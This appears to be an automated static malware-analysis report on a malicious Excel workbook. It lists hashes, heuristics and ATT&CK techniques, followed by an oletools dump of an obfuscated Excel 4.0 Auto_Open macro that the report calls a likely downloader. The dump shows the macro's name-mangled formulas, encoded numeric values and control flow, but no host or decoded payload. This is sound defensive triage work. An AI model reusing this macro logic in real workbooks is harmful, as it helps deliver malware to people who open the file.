Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ecbdd829a5ca62d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:05 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 88ce7f6e1bbef79d790eaa24c29af92d SHA-1: 3da3eaad901bc97c854a0b2299dbb424121b8469 SHA-256: 2ecbdd829a5ca62d07969ed3056acfb00229b02d336397ee815882c369ae889f
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a known technique for executing malicious code upon opening the workbook. The critical heuristic firings indicate the presence of dangerous formula APIs within the XLM macro, suggesting it is designed to execute arbitrary commands. The macro likely serves as a downloader for a second-stage payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6902 bytes
SHA-256: e8cc3e35e157363e1e366da0be47ea81b0f7a21152ef61bc04c6a76afffa935d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'OFaCUGJorZpW') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  iEHJZzSmNRd
' 0018     22 LABEL : Cell Value, String Constant - aUbesPQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D135 
' 0018     25 LABEL : Cell Value, String Constant - cyETCkVnqu len=0 
' 0018     27 LABEL : Cell Value, String Constant - GGWEKTwmitmb len=0 
' 0018     23 LABEL : Cell Value, String Constant - HrosxAyz len=0 
' 0018     25 LABEL : Cell Value, String Constant - HVjRWnBAeT len=0 
' 0018     25 LABEL : Cell Value, String Constant - HxZjMSBcIf len=0 
' 0018     26 LABEL : Cell Value, String Constant - jExIuWnGKOM len=0 
' 0018     24 LABEL : Cell Value, String Constant - khcXQrizN len=0 
' 0018     20 LABEL : Cell Value, String Constant - LfJOm len=0 
' 0018     21 LABEL : Cell Value, String Constant - mxWKGv len=0 
' 0018     27 LABEL : Cell Value, String Constant - OFaCUGJorZpW len=0 
' 0018     27 LABEL : Cell Value, String Constant - PaBxiUZWbzIi len=0 
' 0018     23 LABEL : Cell Value, String Constant - pObltFuJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - QZyaBTHrsP len=0 
' 0018     27 LABEL : Cell Value, String Constant - rEMpTphoEwpi len=0 
' 0018     27 LABEL : Cell Value, String Constant - rLxFTCZnILic len=0 
' 0018     24 LABEL : Cell Value, String Constant - snlRfKakx len=0 
' 0018     21 LABEL : Cell Value, String Constant - Voqukj len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZLcRMKWP len=0 
' 0018     22 LABEL : Cell Value, String Constant - zMwYECl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  iEHJZzSmNRd,D48,"SET.NAME("rLxFTCZnILic",0+VALUE("0"))",""
'  iEHJZzSmNRd,D51,"SET.NAME("LfJOm",rLxFTCZnILic)",""
'  iEHJZzSmNRd,D55,"SET.NAME("mxWKGv",rLxFTCZnILic)",""
'  iEHJZzSmNRd,D59,"SET.NAME("aUbesPQ",COUNTA(zMwYECl))",""
'  iEHJZzSmNRd,D61,"SET.NAME("Voqukj",COUNTA(QZyaBTHrsP))",""
'  iEHJZzSmNRd,D63,[],""
'  iEHJZzSmNRd,D68,"SET.NAME("OFaCUGJorZpW","")",""
'  iEHJZzSmNRd,D70,"LfJOm",""
'  iEHJZzSmNRd,D75,"SET.NAME("HVjRWnBAeT",HLOOKUP("*",zMwYECl,LfJOm,FALSE))",""
'  iEHJZzSmNRd,D77,"ZLcRMKWP",""
'  iEHJZzSmNRd,D81,"SET.NAME("HxZjMSBcIf",rLxFTCZnILic)",""
'  iEHJZzSmNRd,D85,[],""
'  iEHJZzSmNRd,D89,"HxZjMSBcIf",""
'  iEHJZzSmNRd,T89,"",-231.00000000000000000000
'  iEHJZzSmNRd,T90,"",254.00000000000000000000
'  iEHJZzSmNRd,D91,"PaBxiUZWbzIi",""
'  iEHJZzSmNRd,T91,"",-628.00000000000000000000
'  iEHJZzSmNRd,T92,"",-621.00000000000000000000
'  iEHJZzSmNRd,T93,"",-535.00000000000000000000
'  iEHJZzSmNRd,T94,"",-559.00000000000000000000
'  iEHJZzSmNRd,D95,"jExIuWnGKOM",""
'  iEHJZzSmNRd,D100,"snlRfKakx",""
'  iEHJZzSmNRd,D105,"SET.NAME("HrosxAyz",VALUE(HLOOKUP("*",QZyaBTHrsP,snlRfKakx,FALSE)))",""
'  iEHJZzSmNRd,D110,"khcXQrizN",""
'  iEHJZzSmNRd,D114,"OFaCUGJorZpW",""
'  iEHJZzSmNRd,D116,"mxWKGv",""
'  iEHJZzSmNRd,D118,NEXT(),""
'  iEHJZzSmNRd,D120,"rEMpTphoEwpi",""
'  iEHJZzSmNRd,D124,[],""
'  iEHJZzSmNRd,D127,"pObltFuJ",""
'  iEHJZzSmNRd,D130,NEXT(),""
'  iEHJZzSmNRd,D133,RETURN(),""
'  iEHJZzSmNRd,D155,"SET.NAME("cyETCkVnqu",D48)",""
'  iEHJZzSmNRd,D157,"zMwYECl",""
'  iEHJZzSmNRd,D162,"SET.NAME("QZyaBTHrsP",R82C12)",""
'  iEHJZzSmNRd,D166,"SET.NAME("pObltFuJ",175)",""
'  iEHJZzSmNRd,D170,"SET.NAME("GGWEKTwmitmb",4)",""
'  iEHJZzSmNRd,D174,cyETCkVnqu(),""
'  iEHJZzSmNRd,D175,HALT(),""

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